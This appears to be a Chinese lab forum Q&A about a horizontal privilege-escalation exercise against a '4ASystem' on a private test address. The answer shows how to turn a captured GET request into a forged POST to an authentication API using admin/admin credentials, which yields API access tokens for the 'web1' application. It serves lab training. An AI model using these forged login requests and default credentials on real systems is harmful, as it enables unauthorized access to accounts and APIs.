4ASystem
4ASystem 横向越权 模拟登陆web1应用,获得访问API的凭证 请问这个具体怎么操作?访问xxx:58080是404,在web1登录或者修改密码抓不到POST /api/v1/sys_authenticate这个包
访问xxx:58080(4ASystem),404是正常现象(该环境只需要后端api访问4ASystem即可)
模拟登陆web1应用,获得访问API的凭证:访问xxx:58080(4ASystem),抓包,构造POST /api/v1/sys_authenticate请求
GET / HTTP/1.1 Host: 192.168.80.131:58080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=554f58da8431b864e15d60ee6f7cdd98 Connection: close
→→→→→→→→→→→修改成→→→→→→→→→→→
POST /api/v1/sys_authenticate HTTP/1.1 Host: 192.168.80.131:58080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=554f58da8431b864e15d60ee6f7cdd98 Connection: close Content-Length: 94
{ "username":"admin", "password":"admin", "application":"web1" }
获得访问API的凭证